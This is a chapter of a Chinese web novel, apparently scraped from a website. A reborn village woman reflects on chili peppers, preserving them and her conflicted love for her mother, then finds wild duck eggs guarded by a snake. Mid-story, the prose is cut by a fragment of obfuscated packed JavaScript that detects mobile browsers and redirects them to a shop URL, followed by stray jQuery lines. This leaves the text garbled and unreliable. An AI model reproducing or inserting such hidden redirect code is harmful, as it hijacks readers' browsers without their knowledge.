黄迎春两辈子都是彻头彻尾的南方人，但她上辈子的家乡所在的地理位置要更往南一点儿，冬天从来不下雪，所以从不需要吃辣御寒。


    但这辈子不一样，无论是她待了十几年的黄家村还是永安城里的皇宫，每一年，安朝的冬天都是冷的，区别只在于冷的天数长短。


    正所谓一方水土养一方人，一日三餐清淡饮食活了二十几年的黄迎春，在安朝不过几载，便习惯朝食夕食无辣不欢的日子。


    在缺糖少盐的冬日，辣椒既能发热御寒，又能替代调味的佐料下饭，是贫苦人家维持生计不可或缺的好东西。


    辣椒往往在寒冷的冬天才开始大放异彩，然而，无论是春时播种，还是夏季补种的辣椒，它的成熟期最多只能延至重阳节。


    辣椒成熟后，如果没有及时采摘，就会渐渐烂在地里。


    每一寸土地上长出的作物对农人来说都是宝贵的，所以，黄迎春的童年，每逢夏秋辣椒成熟季，都充满了满眼的红与满手的辣味和久久不散的辣椒香气。


    上辈子，黄迎春和辣椒唯一的接触，就是在别人组局聚餐问是否有忌口时回答的那一句——“不好意思，我吃不了辣”。


    黄迎春对辣椒的所有了解，都是她这辈子在安朝的日常生活中一点一滴集结而成的。


    黄迎春一直以为辣椒的生命只有一年，春天洒下辣椒种子，育苗施肥浇水除虫，夏季开花结果，秋收后渐渐枯萎，永远活不过大雪覆盖后的冬天，直到她入宫进了花草司，在温暖的花房里见到了各式各样以观赏为主要功能培育的辣椒苗，她这才知道，原来辣椒在环境适宜的情况下，是能活三五年不等的。


    入宫前，黄迎春和辣椒打了十年的交道。


    入宫后，她又在膳房吃了十五年的辣椒。


    但是，今天，她忽然觉得，其实她对辣椒的了解非常的少。


    给竹子削节去青的工作昨天已经进入尾声，黄迎春今天干完地里的农活后，又花了一点时间收了个尾，剩下的时间就很尴尬。


    做下一步，时间不够，母榫还没凿几个，估计日头就沉了，到时候还得满地找墨斗。


    做夕食呢？又有些太早了。


    她往日都会在洗完碗后再做一些竹编活，如果太早吃饭，可能没睡就饿了，再抓一把米煮饭，反而得不偿失。


    雏鸭们喂饱了，稻田灌水了，豆田、药田、后院的柳树和桑树、前院篱笆边上的艾草和各种野生草药、菜地、以及菜地边上枇杷树苗也都施过肥浇过水了，还能做什么呢？


    有什么活计是随做随放还一点儿都不耽误事也不浪费时间的呢？


    黄迎春想不出来，她在家里走进走出，摸不着头绪，正准备拎着渔网去院子里修补时，忽然在菜地里望见了一片红。


    俗语说：夏至见青椒，大暑满枝红。


    在黄迎春儿时的记忆中，盛夏过后，辣椒开始大量成熟，若春时种的辣椒苗多，平日里又侍弄得好，那么在初秋前，每天去菜地里都能采下一篮子红绿相间的辣椒。


    夏秋农活繁重，干活的人必须得多吃一点有油水、口味重的饭菜。杀鸡宰鸭是不可能的，但起早去河里下笼下网，捞几条鱼回来，再配上菜地里还未熟透的青绿鲜椒，烧一道香辣鱼片，也不失为一个补身体的好法子。


    没熟透的青椒只能做菜，而熟透的红椒，用处可就多了。


    在一个露水干透、阳光出来的晴天，提着竹篮去菜地里，挑颜色完全变红的辣椒，在红色的表皮微皱时，把它们一颗又一颗地从辣椒树上采摘下来，有的放在厨房留待平日里做菜，有的用丝线串起来，悬挂在阴凉通风的地方，让它们慢慢晾干——黄迎春通常会搭梯子把串成串的辣椒挂在黄家的屋檐下，这样辣椒晾干后，颜色还是红的，一点儿都不会褪色，看上去好看极了。


    辣椒晾干的时间长，若是等不及，也可以把辣椒铺在草帘上，放在太阳下暴晒，隔一两天翻动一下，等它们全部晒干后，就可以把它们收进陶罐，留待冬日做饭或来年春天播种育苗。


    稍有些余钱的人家，每年夏秋，都会多买一些盐，把青红色的鲜椒洗净后加盐揉搓，再把它们放入陶罐压实，制成可以长期保存的腌菜——盐渍辣椒。


    盐渍辣椒的口味太重了，黄家也做过一次，但黄迎春尝了一口，嘴里辣了半天，无论怎么喝水也不管用，从此对盐渍辣椒敬谢不敏。


    除了盐渍辣椒，家里还会做辣椒酱来保存辣椒，这种腌制方法，黄迎春更不喜欢。


    辣椒酱的做法比盐渍辣椒复杂一些——将红彤彤的辣椒采下洗净，用石臼和石杵捣碎，加上盐、拍扁的大蒜、切片的生姜，用手搅弄它们，把所有的食材都混在一起，等它们发酵后，再封入坛子里储存。


    “好的辣椒酱，可以存放好几年都不坏。”


    黄迎春倒是不怀疑这种说法，只是她每回听到这种话都想不通——如果辣椒酱的味道真的很好，怎么还能放好几年呢？不应该在做成的头一年就被大家抢着吃光了吗？


    然而，不管做出的辣椒酱味道是好是坏，做辣椒酱的过程总是痛苦的。


    在安朝，厨工是说亲的重要考量因素，而女十七不婚，就要开始交单身税，大部分小娘子，通常都是在出生的家中待十五年，再转去另一个全然陌生的家中度过余下的人生，而后半辈子过得好不好，全看结亲的人家如何。想找到好人家结亲，自身的条件自然也不能差。所以，再溺爱女儿的人家，也会让她动手做事，好生教导她安身之道，其中，最重要的，莫过于厨艺。


    对这辈子的娘亲，黄迎春的感官一直很复杂。


    在爷奶嫌弃她是个女儿家不配吃好东西时，她的阿娘曾顶着被婆母打骂的压力，偷偷去鸡笼摸鸡蛋，被鸡啄出血来也不吭声，煮好的鸡蛋羹自己一口也不肯吃，只知道望着吃着鸡蛋羹的她一脸慈爱地笑。


    邻家的黄狗忽然跑到她睡觉的屋子，对着摇篮里的她流口水，把她吓得发了一夜高烧，是阿娘举着一把菜刀站在门口骂了半夜，又对着她叫了一天的魂。


    该怎么忘记，她高烧退后，睁开眼睛，第一眼见到的阿娘，她的面容与眼神呢？


    该怎么忘记，无人帮衬，阿娘坚持把她绑在背上，一边时刻照顾，一边辛劳干活，那些母女俩相依为命的日日夜夜呢？


    弟弟出生后，阿娘似乎全忘了过去对她的关爱，一腔心思全扑在她的儿子上，然而，她仍会好生教导她厨艺，把她所有的拿手菜都教给她，在发现她对学厨感兴趣后，请遍全村擅厨艺的女性长辈来家中聊天做客，回回都要她在一旁陪着。


    做辣椒酱需要人用手反复地搅弄材料，没有食品级□□手套可用，她每回徒手搅弄，没搅多久就被辣得手疼眼酸，阿娘虽会骂她不中用，但也会给她擦泪，让她去洗手做别的，把剩下的活计全揽在自己身上。


    她高烧不退时，求医不得，叫魂无用，跪在地上祈求神明显灵，愿意拿己命换她生的人，是她的阿娘。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045663|190244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >家里遭灾时，说服她嫁人解危，劝她认命的人，也是她的阿娘。


    娘啊娘，我恨你，这辈子不愿再见你，可为什么看见这些辣椒，还是会想起你？


    黄迎春想不通，正如她不明白，为什么她第一次独自尝试种辣椒，结果她的辣椒在盛夏未至时就已经红了一大片。


    难道是辣椒的品种不一样？


    黄迎春努力回忆，却怎么也记不起当时买菜种时菜农对辣椒的介绍。


    罢了，早熟就早熟吧，反正这个世界又没有科技狠活，再说她也吃了好多顿辣椒做的菜了，一点儿事情也没有，既然吃不死人，红就红吧。


    黄迎春转身走进堂屋，从墙上的竹钉上取下镰刀，正想背竹筐时，她忽然想起，自己还有一个断了麻绳的竹筐遗落在水边。


    得，事情来了。


    黄迎春歇了修补渔网的心，背上一个竹筐，准备去上回落水的地方把竹筐拿回来，顺便沿途看看有没有什么适合编织草帘的草叶，也割一些带回家，编成草帘好晒辣椒。


    这一回，黄迎春走得十分小心，除了镰刀，她还带上了开荒时用的探路棍，走一步路，最少往周围捅五下，生怕自己又出现意外。


    虽然速度慢了许久，但是，这回，她总算是平安抵达上回的落水处了。


    竹筐还在原地，经过许久的风吹日晒，紧密编织的竹蔑纹理看上去已经有几分破败之色。


    “咦，上回就是倒的吗？”


    黄迎春没有一点儿印象，当时她的眼里只有断裂的麻绳，竹筐是正是斜，她完全不记得。


    距倒放的竹筐还有几步远时，黄迎春渐渐放慢脚步，拿着探路棍不停地在四周敲敲打打，最后一下，她的棍子敲在了竹筐上。


    分明没有一点儿动静，但黄迎春不知道为什么，瞬间浑身寒毛直立。


    她屏住呼吸，身形一动不动，左手则往腰后伸，用力地握紧了放在竹筐里的镰刀。


    夕阳西沉，山风冷清，吹过黄迎春脸颊边的碎发，同岸边的芦苇一起抖动不已。


    在一阵窸窸窣窣的细微声响中，黄迎春敏锐地发现，有一条黑色的小蛇，从她面前倒放的竹筐里游出，不过几瞬，便消失在前方的草中。


    黄迎春又在原地等了一会儿，见蛇没有游回来的迹象，这才上前两步，拿着探路棍把竹筐调转到筐底朝着自己的方向，然后，她惊讶地张开嘴——竹筐里，竟然有许多白色的蛋！


    蛇是会吃蛋的，黄迎春知道。


    有许多蛇类都以鸟蛋为食，哪怕是比它们自己的头还大的鸟蛋，蛇也会张开嘴巴一口吞食掉。


    蛇不会把蛋弄破，它也不担心，因为蛇的食道里面有骨质尖刺，可以直接把蛋壳弄碎并吸食蛋液。


    为什么刚才见到的那条蛇不吃这些鸭蛋呢？


    黄迎春思来想去，只有一种可能，而这种可能绝不会是因为蛇怕她，那么，只剩下那条黑蛇太过瘦小，以至于无法一口吞食这些又白又大的野鸭蛋这个可能了。


    黄迎春十分高兴地把这十二枚野鸭蛋带回家，全然忘了打草做帘子这回事。


    宋二娘送的鸭蛋还剩下两个，当晚，黄迎春掐了两把韭菜洗净，炒了一道香气扑鼻的韭菜炒鸭蛋。


    韭菜的辛香味完美地中和了鸭蛋的腥味，再在油锅中用高温快炒，撒点盐粒，那味道，美得黄迎春简直无法形容。


    “太香了！真香啊！”


    黄迎春再说不出多余的话，只顾埋头苦吃。